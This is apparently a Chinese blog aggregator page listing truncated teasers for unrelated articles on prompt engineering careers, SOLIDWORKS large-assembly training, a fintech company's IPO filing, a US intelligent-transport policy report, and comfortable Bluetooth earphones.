文章目录1. 什么是 Prompt Engineer2. 如何成为 Prompt Engineer3. Prompt Engineer 需要具备哪些技能4. Prompt Egnineer 适合什么工作岗位5. Prompt Egnineer 未来的发展趋势&#xff1f;6. 哪些公司正在招聘 Prompt Egineer7. Prompt Engineer 必备的20个工具8. Prompt Engi…

SOLIDWORKS免费培训 SW大型装配体模式课程

在SOLIDWORKS的使用过程中&#xff0c;大家经常会遇到大型装配体的处理问题&#xff0c;微辰三维的培训课程中也包含了一些大型装配体的技术培训&#xff0c;下面整理一些常见问题&#xff0c;供参考&#xff1a;大型装配体模式1.当我们打开一个大的装配体时&#xff0c;可能会…

量化派递交上市申请,数字经济风口上开启“狂飙”模式

今年全国两会&#xff0c;代表委员们纷纷围绕“中小企业数字化转型”建言献策。如全国政协委员、甘肃省工业和信息化厅副厅长黄宝荣建议&#xff0c;在工业领域加快数字经济立法&#xff0c;支撑中小企业数字化转型&#xff1b;全国政协委员、中国财政科学研究院院长刘尚希建议…

智能移动出行带来更美好的未来——美国智能交通协会交通政策(附下载)

美国智能交通协会&#xff08;ITS America&#xff09;是美国交通系统技术现代化的国家主要倡导者&#xff0c;专注于推进智能交通技术的研究和部署。美国智能交通协会是美国交通部道路技术的官方咨询委员会&#xff0c;代表州和城市交通部门&#xff0c;运输部门&#xff0c;大…

佩戴舒适的蓝牙耳机品牌有哪些?不伤耳朵的蓝牙耳机推荐

现在不少人都离不开耳机吧&#xff1f;但什么样的耳机才是安全的、不伤耳的&#xff1f;更多的人看重耳机的重量&#xff0c;但是否贴合耳廓也是十分重要的&#xff0c;下面整理了几款当前热销佩戴舒适的蓝牙耳机&#xff0c;可供大家选购参考。 第一款&#xff1a;南卡小音舱蓝…